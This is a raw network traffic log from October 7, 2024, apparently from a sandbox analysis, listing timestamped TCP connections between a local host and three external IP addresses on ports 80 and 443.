Oct 7, 2024 21:18:49.689060926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689074039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689088106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689282894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689306021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689318895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689331055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689399004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689412117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689423084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.689675093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693145990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693159103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693195105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693217993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693306923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693358898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693371058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693382978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693447113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693459988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693480968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693567038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693581104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693593025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693607092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693619013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693659067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693710089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693722010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693743944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693828106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693840027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.693922043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.694063902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.694076061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.694098949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.694211960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:49.700732946 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.700807095 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.700874090 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.701000929 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.701000929 CEST	49912	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.701026917 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.701050043 CEST	443	49912	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.702981949 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.703013897 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.703089952 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.703227043 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.703244925 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.777157068 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.777825117 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.777889967 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.777980089 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.777996063 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778007984 CEST	49916	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.778012991 CEST	443	49916	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778018951 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778156996 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778299093 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.778316975 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778347015 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778400898 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.778752089 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.778752089 CEST	49915	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.778767109 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.778786898 CEST	443	49915	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.781889915 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.781928062 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.782280922 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.782311916 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.782346010 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.782346010 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.782385111 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:49.782442093 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.782516003 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:49.782530069 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.334168911 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.334392071 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.334664106 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.334719896 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.334814072 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.334830999 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.335156918 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.335170984 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.335508108 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.335513115 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.346617937 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.347076893 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.347090960 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.347476959 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.347481966 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.413933039 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.414335966 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.414381981 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.414858103 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.414870977 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.440980911 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.441310883 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.441373110 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.441385031 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.441422939 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.441479921 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.441683054 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.441693068 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.441701889 CEST	49919	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.441706896 CEST	443	49919	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.442225933 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.442816019 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.442828894 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.443123102 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.443128109 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.444684982 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.444736004 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.445199013 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.445358038 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.445386887 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.448066950 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.448529959 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.448571920 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.448582888 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.448616982 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.448702097 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.448714018 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.448723078 CEST	49917	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.448728085 CEST	443	49917	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.451318979 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.451349974 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.451445103 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.451879025 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.451889992 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.463447094 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.463519096 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.463639021 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.463674068 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.463677883 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.463689089 CEST	49918	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.463692904 CEST	443	49918	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.465708971 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.465725899 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.465785980 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.465913057 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.465923071 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.519867897 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.519937038 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.520159960 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.520200014 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.520217896 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.520248890 CEST	49921	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.520261049 CEST	443	49921	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.522887945 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.522905111 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.522970915 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.523149014 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.523156881 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.559824944 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.559858084 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.559906960 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.559979916 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.559979916 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.560419083 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.560419083 CEST	49920	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.560437918 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.560446978 CEST	443	49920	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.562644958 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.562654972 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.563247919 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.563432932 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:50.563443899 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:50.984524012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:50.984642029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:50.990797043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:50.995639086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:51.073787928 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.074259043 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.074302912 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.074754953 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.074768066 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.120228052 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.121218920 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.121246099 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.121624947 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.121629953 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.124123096 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.125150919 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.125150919 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.125159025 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.125170946 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.162122011 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.162801027 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.162844896 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.163203001 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.163216114 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.179157972 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.179583073 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.179651022 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.179699898 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.179699898 CEST	49922	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.179728031 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.179759026 CEST	443	49922	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.182218075 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.182250977 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.182320118 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.182476997 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.182487965 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.235500097 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.235994101 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.236002922 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.236452103 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.236455917 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.236505032 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.236531019 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.236573935 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.236634016 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.237087965 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.237087965 CEST	49923	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.237101078 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.237108946 CEST	443	49923	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.240009069 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.240031004 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.240106106 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.240217924 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.240231037 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.243604898 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.245426893 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.245616913 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.245667934 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.245682955 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.245693922 CEST	49924	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.245699883 CEST	443	49924	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.247613907 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.247648001 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.247709036 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.247925997 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.247940063 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.270613909 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.270842075 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.271919966 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.278717041 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.278728008 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.278738976 CEST	49925	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.278743982 CEST	443	49925	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.281219959 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.281260014 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.281323910 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.281445026 CEST	49930	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.281459093 CEST	443	49930	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.349253893 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.349469900 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.349526882 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.349845886 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.349931002 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.349961042 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.350003958 CEST	49926	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.350020885 CEST	443	49926	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.352312088 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.352332115 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.352461100 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.352624893 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.352637053 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.654994011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:51.655054092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:51.669683933 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:51.674602032 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:51.674664021 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:51.674887896 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:51.680108070 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:51.849792004 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.852088928 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.852121115 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.852627993 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.852648020 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.875709057 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.876337051 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.876352072 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.876723051 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.876960993 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.876966953 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.878190041 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.878206968 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:51.878604889 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:51.878612041 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366564989 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366717100 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366777897 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366780043 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366830111 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.366837025 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.366843939 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.366900921 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.367022038 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.367082119 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.367528915 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.367544889 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.367562056 CEST	49928	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.367568016 CEST	443	49928	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.367619991 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.367652893 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.367667913 CEST	49927	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.367677927 CEST	443	49927	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.368947029 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369013071 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369024038 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369039059 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369054079 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369070053 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369087934 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369111061 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369416952 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369431973 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369446993 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369457960 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369462967 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369477987 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369492054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369508028 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369529009 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369544983 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369571924 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.369589090 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369623899 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.369734049 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.369749069 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.369765997 CEST	49929	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.369771957 CEST	443	49929	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.370923042 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.372973919 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.373009920 CEST	443	49933	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.373076916 CEST	49933	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.373239040 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.373249054 CEST	443	49931	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:52.373677969 CEST	49931	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:52.373682976 CEST	443	49931	13.107.253.45	192.168.2.5
